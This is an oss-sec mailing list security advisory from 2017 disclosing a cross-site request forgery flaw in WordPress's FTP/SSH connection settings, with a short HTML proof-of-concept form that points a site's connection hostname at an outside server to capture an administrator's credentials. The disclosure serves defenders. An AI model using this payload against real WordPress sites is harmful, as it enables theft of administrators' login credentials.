oss-sec mailing list archives

Cross-Site Request Forgery in WordPress Connection Information

From: Summer of Pwnage <lists () securify nl>
Date: Fri, 21 Apr 2017 00:30:31 +0200

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Cross-Site Request Forgery in WordPress Connection Information
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Yorick Koster, July 2016

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Abstract
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The FTP/SSH form functionality of WordPress was found to be vulnerable
to Cross-Site Request Forgery. This vulnerability can be used to
overwrite the FTP or SSH connection settings of the affected WordPress
site. An attacker can use this issue to trick an Administrator into
logging into the attacker's FTP or SSH server, disclosing his/her login
credentials to the attacker. In order to exploit this vulnerability, the
attacker has to lure/force a logged on WordPress Administrator into
opening a malicious website.


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OVE ID
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OVE-20160717-0004

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Tested versions
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This issue was successfully tested on the WordPress [2] version 4.5.3 up
till and including version 4.7.4.

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Fix
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There is currently no fix available.

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Introduction
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WordPress is web software you can use to create a website, blog, or
app. It was found that the FTP/SSH form functionality is vulnerable to
Cross-Site Request Forgery. This vulnerability can be used by an
attacker to overwrite the FTP or SSH connection settings of the affected
WordPress site. It can be used to trick in an Administrator into login
into the attacker's FTP or SSH server, disclosing his/her login
credentials to the attacker.

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Details
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This issue exists in the method request_filesystem_credentials()
(/wp-admin/includes/file.php). It allows overwriting of the values:

- hostname
- username
- connection_type

The request_filesystem_credentials() method is called in various
locations in WordPress. The connection information is updated if a POST
request contains a password or public & private key value (in case of
connection type ssh). In order to trigger this issue, the WordPress
installation must not be able to write to the wp-content folder. Also,
the attacker has to lure/force a logged on WordPress Administrator into
opening a malicious website.

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Proof of concept
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<html>
        <body>
                <form action="http://<target>/wp-admin/plugins.php" method="POST">
                        <input type="hidden" name="hostname" value="sumofpwn.nl" />
                        <input type="hidden" name="connection_type" value="ftp" />
                        <input type="hidden" name="password" value="password" />
                        <input type="submit" value="Submit request" />
                </form>
        </body>
</html>
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References
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[1]https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_wordpress_connection_information.html

[2] https://wordpress.org/
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Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.

Current thread:

Cross-Site Request Forgery in WordPress Connection Information Summer of Pwnage (Apr 20)
- Re: Cross-Site Request Forgery in WordPress Connection Information Summer of Pwnage (May 17)